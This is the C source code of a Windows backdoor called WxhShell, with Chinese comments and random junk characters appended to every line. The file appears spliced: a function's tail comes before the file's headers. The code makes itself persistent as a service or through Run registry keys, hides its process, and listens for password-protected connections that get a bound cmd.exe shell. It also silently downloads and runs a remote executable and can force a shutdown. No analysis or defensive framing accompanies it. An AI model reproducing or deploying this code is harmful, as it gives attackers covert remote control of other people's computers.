    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t-(7Q8(  
    if(Boot(SHUTDOWN)) f4I9H0d;!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HbSx}bM_9  
    else { K$5P_~;QL  
    closesocket(wsh); `gs,JJ6N  
    ExitThread(0); uPv?Hq  
    } SfFR  
    break; F^G`Jf  
    } DmPsltpzQ  
  // 获取shell H&IP>8Dk  
  case 's': { :Qp/3(g e  
    CmdShell(wsh); 3A}8?  
    closesocket(wsh); Du4#\OK  
    ExitThread(0); ^Jc0c)*  
    break; 1CVaGD^r{  
  } r3vj o(  
  // 退出 XRz6Yf(/  
  case 'x': { ^ 6|"=+cO\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \)uad5`N  
    CloseIt(wsh); w|o@r%Q#l  
    break; 1AV1W_"  
    } ^v5hr>m  
  // 离开 r8 >?-P  
  case 'q': { '="){  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @}!$NI8  
    closesocket(wsh); w>Sz^_ h  
    WSACleanup(); ( +hI   
    exit(1); Ud*[2Oi|R  
    break; <ijmkNVS  
        } Z[bC@y[Wb  
  } :P"Gym  
  } rO%+)M$A  
Li^!OHro.  
  // 提示信息 {Dq51  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L1 VTq9[3  
} <!>}t a  
  } %~2m$#)  
^v|!(h\ZC  
  return; 8E%*o  
} x,_Ucc.  
|YFlJ2w  
// shell模块句柄 uhLm yK  
int CmdShell(SOCKET sock) +0 |0X {v  
{ }TL"v|ny6;  
STARTUPINFO si; Tou~U[V+  
ZeroMemory(&si,sizeof(si)); hI{Yg$H1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UQPE)G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oh4WYDyT  
PROCESS_INFORMATION ProcessInfo; F[Sat;Sll  
char cmdline[]="cmd"; 7Z3qaXPH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :|3 C-+[  
  return 0; c?",kzo  
} }TvAjLIS6  
>GUTno$J  
// 自身启动模式 >@uYleD(  
int StartFromService(void) 9 <m j@bI$  
{ GqxK|G1  
typedef struct b;l%1x9r  
{ 1*jm9])#  
  DWORD ExitStatus; iL1so+di  
  DWORD PebBaseAddress; cEu98nP  
  DWORD AffinityMask; cfS]C_6d  
  DWORD BasePriority; nHjwT5Q+Q  
  ULONG UniqueProcessId; gMn)<u>  
  ULONG InheritedFromUniqueProcessId; jQ}| ]pj+  
}   PROCESS_BASIC_INFORMATION; sTyGi1  
mIodD)?{  
PROCNTQSIP NtQueryInformationProcess; ~vF o 0k(  
a$8?0` (  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b] V=wZ o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _*I6O$/>  
^O m]B;  
  HANDLE             hProcess; yQ50f~9  
  PROCESS_BASIC_INFORMATION pbi; IPR396J+-  
3 2D/%dHC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /p"R}&z  
  if(NULL == hInst ) return 0; RA/yvr  
r |/9Dn%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r+u\jZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h zE)>f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (5&"Y?#o,  
_P1-d`b0 a  
  if (!NtQueryInformationProcess) return 0; j"s(?  
2Wtfx" .y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DlI|~  
  if(!hProcess) return 0; +Wc[ $,vk  
Rby7X*.-v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PQr N";+  
iSlVe~ef  
  CloseHandle(hProcess); xW~@V)OH  
8w' 8n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oZtz"B  
if(hProcess==NULL) return 0; # 95/,k  
q%Pnx_RB  
HMODULE hMod; \gpKQt0  
char procName[255]; |\t_I~de  
unsigned long cbNeeded; 0=&]!WRT  
l/LUwDI{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H#E0S>Jw|  
>w2u  
  CloseHandle(hProcess); -bF+uCfba  
&YNhKm@"  
if(strstr(procName,"services")) return 1; // 以服务启动 ZT#G:a  
><qE5D[  
  return 0; // 注册表启动 *p^MAk9=  
} |t_2AV  
3RUB2c4  
// 主模块 {r)M@@[  
int StartWxhshell(LPSTR lpCmdLine) ,P+&-}gn9  
{ m>_'f{&u  
  SOCKET wsl; i^l;PvIF  
BOOL val=TRUE; ZxW V ,s&p  
  int port=0; Op{Mc$5a  
  struct sockaddr_in door; $@Fj_ N  
j;.&+.  
  if(wscfg.ws_autoins) Install(); a\MJbBXv  
)Be;Zw.|  
port=atoi(lpCmdLine); \Y$NGB=2[  
):@B1 yR  
if(port<=0) port=wscfg.ws_port; qxx.f5 8H  
O{V"'o  
  WSADATA data; qDW/8b\^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; edQ><lz  
jG#sVK]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y6oDbwke  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i747( ^  
  door.sin_family = AF_INET; iDsjIW\j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9^tyjX2  
  door.sin_port = htons(port); {PKER$C  
\!3='~2:=o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j3>< J  
closesocket(wsl); LmE-&  
return 1; 3'wBX  
} p:jrqjLp  
mfvQ]tz_+  
  if(listen(wsl,2) == INVALID_SOCKET) { x@=7M'vr%  
closesocket(wsl); jI%yi-<;  
return 1; gNeCnf#Xa  
} rgCId@R  
  Wxhshell(wsl); eMwf'*#  
  WSACleanup(); r[x7?cXsW  
7Fp2=j  
return 0; X)~-MY*p  
iu'yB  
} JY,+eD  
(hoqLL\}k  
// 以NT服务方式启动 xjYFTb}!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;z68`P-  
{ =3'wHl  
DWORD   status = 0; _u0dt) $  
  DWORD   specificError = 0xfffffff; h| Ih4  
;/.ZYTD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~U|te_l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @WmB0cc_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JpDkf$kM  
  serviceStatus.dwWin32ExitCode     = 0; ! [X<>  
  serviceStatus.dwServiceSpecificExitCode = 0; X {$gdz8S9  
  serviceStatus.dwCheckPoint       = 0; 0/Csc\Xl  
  serviceStatus.dwWaitHint       = 0; cQny)2k*x  
/[OMpP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OX"`VE  
  if (hServiceStatusHandle==0) return; R+\5hI@ >i  
.JqIAC~  
status = GetLastError(); .o>QBYpTw/  
  if (status!=NO_ERROR) RwE]t$T/  
{ \0$?r4A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -l",!sV  
    serviceStatus.dwCheckPoint       = 0; LM} si|  
    serviceStatus.dwWaitHint       = 0; Ud](hp"  
    serviceStatus.dwWin32ExitCode     = status; >\'yj| U,  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~BC5no  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?=,tcN  
    return; 8HzEH-J   
  } aF:I]]TfK~  
,RZktWW_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i=ba=-"Mt  
  serviceStatus.dwCheckPoint       = 0; Q|>y2g!  
  serviceStatus.dwWaitHint       = 0; D"MNlm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VioVtP0  
} mXr)lA  
&zZSWNW  
// 处理NT服务事件,比如:启动、停止 ^%L$$V nG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3eB2= _V`  
{ (8I0%n}.Zo  
switch(fdwControl) Gi-tf<  
{ ?}y7S]B FI  
case SERVICE_CONTROL_STOP: Ul=`]@]]  
  serviceStatus.dwWin32ExitCode = 0; Abl=Ev  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AA66^/t  
  serviceStatus.dwCheckPoint   = 0; p7*\]HyE)  
  serviceStatus.dwWaitHint     = 0; &"BKue~q@p  
  { ,FTF@h-Cs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); */1z=  
  } |^1eL I  
  return; jkbz8.K  
case SERVICE_CONTROL_PAUSE: 6jn<YR E-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +RbCa c  
  break; aU3&=aN+  
case SERVICE_CONTROL_CONTINUE: M1^pW 63  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; olqHa5qn  
  break; (HTVSC%=  
case SERVICE_CONTROL_INTERROGATE: c[5>kQ-nq  
  break; vF_?1|*|  
}; 0iYe>u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' o 5,P/6  
} n8?gZ` W  
%spR7J\"/  
// 标准应用程序主函数 ?0.+DB $  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `);`E_'U k  
{ D@2Tx  
xzy9~))o  
// 获取操作系统版本 kxKBI{L  
OsIsNt=GetOsVer(); f.,-KIiF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9+L! A  
Q/< $ (Y  
  // 从命令行安装 )P$ IXA\  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nk 7Q  
P"- ,^?6  
  // 下载执行文件 X \h]N  
if(wscfg.ws_downexe) { p5*i d5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?znSA >  
  WinExec(wscfg.ws_filenam,SW_HIDE); AVi|JY)>  
} cD{[rI E3  
'?-GZ0oM  
if(!OsIsNt) { Jzr(A^vwo  
// 如果时win9x,隐藏进程并且设置为注册表启动 6gp3n;D  
HideProc(); !_]WUQvV?  
StartWxhshell(lpCmdLine); O9opX\9  
} ,3^N_>d$W  
else Tj>~#~  
  if(StartFromService()) $N+azal+y  
  // 以服务方式启动 >%7iL#3%  
  StartServiceCtrlDispatcher(DispatchTable); t?/#:J*_7  
else % $ 5hC9  
  // 普通方式启动 W nVX)o  
  StartWxhshell(lpCmdLine); )]/!:I4e  
K$rH{dUM  
return 0; [E=t{&t  
} E;h#3 B9  
Q.!8q3`  
^*iZN =\  
Gs-'  
=========================================== \ Xuu|]  
md<%Z4+  
8zr)oQ:  
LaLA }1!  
I@[.W!w  
W1Ht8uYG3  
" Y2Tg>_:t   
]e+S~me  
#include <stdio.h> ; LTc4t  
#include <string.h> JeiW z1t  
#include <windows.h> ?p/i}28=y  
#include <winsock2.h> @$Y`I{Xf  
#include <winsvc.h> pO"V9[p]  
#include <urlmon.h> wKwireOs  
'*22j ]  
#pragma comment (lib, "Ws2_32.lib") C7PHZ`<  
#pragma comment (lib, "urlmon.lib") Ua( !:5q?  
}4+S_b  
#define MAX_USER   100 // 最大客户端连接数 1MOQ/N2BR  
#define BUF_SOCK   200 // sock buffer rNZN}g  
#define KEY_BUFF   255 // 输入 buffer Zr`:A$  
N2C^'dFj  
#define REBOOT     0   // 重启 XO\P4x :c  
#define SHUTDOWN   1   // 关机 +HNQ2YZ  
]F-{)j  
#define DEF_PORT   5000 // 监听端口 [Q)lJTs  
Byon2|nf7  
#define REG_LEN     16   // 注册表键长度 OrHnz981K  
#define SVC_LEN     80   // NT服务名长度 lB,.TK  
xAsbP$J:  
// 从dll定义API Ww@R ewo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IX-ir  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VTD'D+ t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m\j'7mZ1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6N6d[t"  
8W#whK2El  
// wxhshell配置信息 (0^u  
struct WSCFG { :)bm+xWFF  
  int ws_port;         // 监听端口 is`le}$^y  
  char ws_passstr[REG_LEN]; // 口令 5y@JMQSO  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uw4KdC  
  char ws_regname[REG_LEN]; // 注册表键名 3<?#*z4]_  
  char ws_svcname[REG_LEN]; // 服务名 "]`!#5j^WP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <1V!-D4xu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y&B~UeB:q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i9W@$I,f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a&|aK+^8;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6EJ,czt(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C 2FewsRz  
OZ0q6"  
}; h@/c76}f6p  
|UE&M3S  
// default Wxhshell configuration 2,'m]`;GNr  
struct WSCFG wscfg={DEF_PORT, 5G= 2=E  
    "xuhuanlingzhe", ~- JkuRJ\  
    1, i9uJ%nd:  
    "Wxhshell", T[L  
    "Wxhshell", HBeOK  
            "WxhShell Service", f0}+8JW5h  
    "Wrsky Windows CmdShell Service", zR">'bM:  
    "Please Input Your Password: ", 9 *Q/3|   
  1, b4i=eI8  
  "http://www.wrsky.com/wxhshell.exe", ^#p S u  
  "Wxhshell.exe" * r$(lf  
    }; _=8x?fC:rl  
wF[^?K '  
// 消息定义模块 jbGP`b1_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KE6[u*\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H/Y ZwDx,i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Il>!C\hU  
char *msg_ws_ext="\n\rExit."; } 5FdX3YR  
char *msg_ws_end="\n\rQuit."; \A Y7%>  
char *msg_ws_boot="\n\rReboot..."; td&W>(3d  
char *msg_ws_poff="\n\rShutdown..."; ~M2w&g;1  
char *msg_ws_down="\n\rSave to "; z^O>'9#  
jv?`9{-  
char *msg_ws_err="\n\rErr!"; T)qD}hl  
char *msg_ws_ok="\n\rOK!"; ~~]L!P  
PL[7|_%  
char ExeFile[MAX_PATH]; Zm^4p{I%o*  
int nUser = 0; 8ZE{GX.m2c  
HANDLE handles[MAX_USER]; T[;O K  
int OsIsNt; 2VA\{M  
ZFY t[:  
SERVICE_STATUS       serviceStatus; .{*V^[.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;}ileL Tl  
O3PE w4yA  
// 函数声明 2D,9$ 0k_]  
int Install(void); A#\NVN8sk  
int Uninstall(void); m:.ywiw=  
int DownloadFile(char *sURL, SOCKET wsh); ![P1Qv p  
int Boot(int flag); ?`3` azfM  
void HideProc(void); #B_ ``XV  
int GetOsVer(void); 0Ou`& u  
int Wxhshell(SOCKET wsl); DI"mi1ObE  
void TalkWithClient(void *cs); Rku9? zf^  
int CmdShell(SOCKET sock); S zsq|T  
int StartFromService(void); ZC@sUj"  
int StartWxhshell(LPSTR lpCmdLine); $RfM}!7?  
8.ll]3))  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); swntz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5\A[ra  
{Ug?k<h7|  
// 数据结构和表定义 ^ duNEu0*  
SERVICE_TABLE_ENTRY DispatchTable[] = ,nD:W  
{ 4jfkCU  
{wscfg.ws_svcname, NTServiceMain}, 6V KsX+sd  
{NULL, NULL} Uo#% f+t  
}; MD%_Z/NL  
+'Ec)7m  
// 自我安装 }E+#*R3auB  
int Install(void) K1AI:$H  
{ G>qzAgA  
  char svExeFile[MAX_PATH]; qCi6kEr  
  HKEY key; %(79;#2`  
  strcpy(svExeFile,ExeFile); 2j+v\pjYC  
}Zu>?U  
// 如果是win9x系统,修改注册表设为自启动 @2yi%_ ]h  
if(!OsIsNt) { sk.<|-(o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <O>1Y09C/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Po#;SG#Ee  
  RegCloseKey(key); yZE"t[q#O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z_.Eale^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gBA UrY%]  
  RegCloseKey(key); &9g4/c-?$  
  return 0; k4FxdX  
    } u[$ \ az7  
  } +1zCb=;!{  
} ! ~u;CMR  
else { v}q3_m]   
I ww.Nd2  
// 如果是NT以上系统,安装为系统服务 gNY}`'~hr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (p08jR '5  
if (schSCManager!=0) id="\12Bw  
{ n a,j  
  SC_HANDLE schService = CreateService 2>Bx/QF@<  
  ( K4b# y~@  
  schSCManager, %"Q{|}  
  wscfg.ws_svcname, y w)q3zC  
  wscfg.ws_svcdisp, &=oW=g2  
  SERVICE_ALL_ACCESS, D<B/oSy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NHG+l)y:  
  SERVICE_AUTO_START, vtM!?#  
  SERVICE_ERROR_NORMAL, g .ty#Z=:  
  svExeFile, <2Lcy&w_M  
  NULL, |!NKKvf  
  NULL, Mn7nS:  
  NULL, k7yQEU  
  NULL, 1bs 8fUPB3  
  NULL B:Ec(USe  
  ); ,iY/\ U''  
  if (schService!=0) ~0aWjMc(>  
  { _-$O6eZ  
  CloseServiceHandle(schService); eY^;L_7}p  
  CloseServiceHandle(schSCManager); MQ>.^]B]o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6m"_=.k%  
  strcat(svExeFile,wscfg.ws_svcname); *u^N_y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b0|q@!z>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m`l3@ Z  
  RegCloseKey(key); ]@)T]  
  return 0; /*\pm!]._^  
    } ^_BHgbS%;  
  } JfS:K'  
  CloseServiceHandle(schSCManager); SV*h9LL  
} ~?TG SD@(  
} !4cO]wh5  
69AgPAv<k  
return 1; H)tnxD0)  
}  Cg[]y1Ne  
~= qJSb  
// 自我卸载 ""Nu["|E  
int Uninstall(void) U+gOojRy{  
{ p_T>"v  
  HKEY key; '# K:e  
 yG -1g0  
if(!OsIsNt) { eq +t%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1~/?W^ir  
  RegDeleteValue(key,wscfg.ws_regname); {a -bew  
  RegCloseKey(key); lIPy)25~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D.elE:  
  RegDeleteValue(key,wscfg.ws_regname); d1$3~Xl]  
  RegCloseKey(key); fZ!fwg$  
  return 0; VU6nu4   
  } ^c",!Lp}{  
} A??(}F L  
} [!9 dA.tF  
else { +NL^/y<;  
Qwl=/<p1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <8Y;9N|94!  
if (schSCManager!=0) "e.QiK  
{ 8Yfg@"Tn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l`D^)~o8  
  if (schService!=0) ." 9t<<!  
  { s6Ox!)&  
  if(DeleteService(schService)!=0) { Zo`Ku+RL2'  
  CloseServiceHandle(schService); JRQ{Q"`)  
  CloseServiceHandle(schSCManager); 0ant0<  
  return 0; Fr/3Qp@S  
  } ? ->:,I=<~  
  CloseServiceHandle(schService); Vp{e1xpY  
  }  Khd"  
  CloseServiceHandle(schSCManager); (`h$+p^-y  
} *{/ ww9fT  
} q2v:lSFY  
+ <AD  
return 1; 3J t_=!qlo  
} \z>Re$:  
q0|u vt"  
// 从指定url下载文件 *K#7,*Oz  
int DownloadFile(char *sURL, SOCKET wsh) r~ gjn`W  
{ R'bmE:nL  
  HRESULT hr; +%vBDcf  
char seps[]= "/"; +c&n7  
char *token; i oCoFj  
char *file; 6f1%5&si  
char myURL[MAX_PATH]; Fl{:aq"3  
char myFILE[MAX_PATH]; u;1/.`NPB  
P2J{ Ml#  
strcpy(myURL,sURL); Exir?G}\  
  token=strtok(myURL,seps); 3exv k  
  while(token!=NULL) D4 {?f<G0F  
  { .KiJq:$H  
    file=token; WmU5YZ(mAq  
  token=strtok(NULL,seps); WXz'H),R  
  } ;M,u,KH)/  
C? pi8Xg  
GetCurrentDirectory(MAX_PATH,myFILE); +-_71rJc.  
strcat(myFILE, "\\"); eZDqW)x  
strcat(myFILE, file); :B(F ?9qK  
  send(wsh,myFILE,strlen(myFILE),0); o+(>/Ou  
send(wsh,"...",3,0); ~x<nz/^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H:9Z.|{Gv  
  if(hr==S_OK) *Z0Y:"  
return 0; 6{h+(|.(  
else &0B< iO<f  
return 1; d&S4`\g?8  
/*g9drwaa  
} ~"\qX+  
08)X:@ w?  
// 系统电源模块  ut6M$d4  
int Boot(int flag) 4R_Vi[i  
{ HSq.0vYl6  
  HANDLE hToken; [$; \1P/  
  TOKEN_PRIVILEGES tkp; z{h#l!Edh  
}1]E=!?)&  
  if(OsIsNt) { :eaqUW!Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3w&fN3 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -TnvX(ok4  
    tkp.PrivilegeCount = 1; Fua:& 77  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T3po.Km\{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :1%z;  
if(flag==REBOOT) { eL)* K>T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BcJ]bIbKb  
  return 0; vfID@g`!q+  
} 3{e7j6u\  
else { $HjKELoJ<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x!\FB.h4!(  
  return 0; |~'D8 g:Ak  
} =n $@  
  } uP,{yna(  
  else { s|3@\9\  
if(flag==REBOOT) { ]8,:E ]`O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k+k&}8e  
  return 0; $'$#Xn,hU  
} _4E . P  
else { W}+f}/&l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .<`W2*1  
  return 0; )c9]}:W&  
} 5 `:+NwXS2  
} U3SF'r8  
">b~k;M?  
return 1; P3[+c4  
} bkmW[w:M  
-VK 6Fq  
// win9x进程隐藏模块 - w41Bvz0  
void HideProc(void) o`^GUY}  
{ RG(m:N  
s3m]rC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?h`Ned0P  
  if ( hKernel != NULL ) ]7WBoC8  
  { ?3 :OPP`s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e@k`C{{C]o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /m,0H)w1  
    FreeLibrary(hKernel); _!FM^N}|  
  } p/V  
+3VDapfin  
return; _Q<wb8+/  
} x<) %Gs}tb  
S312h'K j  
// 获取操作系统版本 :SxOQ(n  
int GetOsVer(void) a/@<KnT  
{ Sz0M8fYT]  
  OSVERSIONINFO winfo; e2#"o{+@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wv,,#P  
  GetVersionEx(&winfo); (]'Q!MjGa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]+\@_1<ZI  
  return 1; /BWJ)6#H  
  else dZ!Wj7K)  
  return 0; `!MyOI`qS  
} Peha{]U  
iQ= %iou  
// 客户端句柄模块 %N)o*H&  
int Wxhshell(SOCKET wsl) v4L#^Jw(^p  
{ B`Q.<Lqu  
  SOCKET wsh; '8~cf  
  struct sockaddr_in client; o l 67x  
  DWORD myID; 1jZ:@M :  
rI&GM |  
  while(nUser<MAX_USER) Zl]Zy}p*+  
{ w>I>9O}(`  
  int nSize=sizeof(client); 7^k`:Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +Ux)m4}j  
  if(wsh==INVALID_SOCKET) return 1; NLDmZra  
=J.)xDx*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oRM EC7!A0  
if(handles[nUser]==0) qB3{65  
  closesocket(wsh); fFXG;Q8&  
else =YX/]g|9K  
  nUser++; STgl{#  
  } R7us9qM4e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mwFI89J'  
k4_Fn61J/  
  return 0; "s$v?voo  
} cOUsbxYTD  
u(JC 4w'  
// 关闭 socket 52B ye   
void CloseIt(SOCKET wsh) hCO*gtA)M  
{ 6G"AP~|0  
closesocket(wsh); *BVkviqxz  
nUser--; ).eT~e Gj  
ExitThread(0); *IzcW6 [9  
} ^SCZ  
Df;FOTTi%  
// 客户端请求句柄 HzB&+c? Z  
void TalkWithClient(void *cs) 76[aOC2Ad  
{ U{D ?1tF  
F#_7mC   
  SOCKET wsh=(SOCKET)cs; Uq)|]a&e  
  char pwd[SVC_LEN]; 3+m#v8h1  
  char cmd[KEY_BUFF]; q`09   
char chr[1]; )8oI  s  
int i,j; ".| 9h  
>]"5K<-1  
  while (nUser < MAX_USER) { ~Dr/+h:^\  
gcr,?rE<  
if(wscfg.ws_passstr) { zQ xZR}'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sSOI5W3A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +-,Q>`  
  //ZeroMemory(pwd,KEY_BUFF); IoNZ'g?d  
      i=0; T3['6%  
  while(i<SVC_LEN) { f(DGC2R <  
\Ja%u"D A  
  // 设置超时  ;9c3IK@  
  fd_set FdRead; oUZwZ_yKW  
  struct timeval TimeOut; ) 0$7{3  
  FD_ZERO(&FdRead); 4UoUuKzt  
  FD_SET(wsh,&FdRead); GQ&9by=}  
  TimeOut.tv_sec=8; 3a#637%  
  TimeOut.tv_usec=0; %Zx/XMs}e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IDzP<u8v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aEX;yy*  
GZQ)Tz R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J),7ukLu^  
  pwd=chr[0]; c[<lr  
  if(chr[0]==0xd || chr[0]==0xa) { 7&NRE"?G  
  pwd=0; 'jcDfv(v<  
  break; iAf, :g  
  } qsFA~{o.  
  i++; oypq3V=5  
    } XPzwT2_E  
}*$-rieg  
  // 如果是非法用户,关闭 socket ".v9#|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e`R*6^e  
} i>T{s-3v  
I Jq$GR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^/R@bp#<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -'{ioHt&X/  
\WouTn  
while(1) { O<f_-n@G|  
JU<<,0  
  ZeroMemory(cmd,KEY_BUFF); ix^:qw;  
yqlkf$?  
      // 自动支持客户端 telnet标准   u 8U>R=M  
  j=0; P%pB]d.qpi  
  while(j<KEY_BUFF) { H` Q_gy5Z(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Qu~UK\   
  cmd[j]=chr[0]; 7H[#  
  if(chr[0]==0xa || chr[0]==0xd) { /.05rTpp  
  cmd[j]=0; QfU 0*W?r  
  break; GfQMdLy\Z  
  } 5#d"]7  
  j++; bm%2K@ /U  
    } 8[f]9P/i  
xQ1&j,R]  
  // 下载文件 @)VJ,Ql$Y  
  if(strstr(cmd,"http://")) { N3vk<sr@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'n4zFj+S  
  if(DownloadFile(cmd,wsh)) DXKk1u?Tq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3`#sXt9C  
  else nUmA  
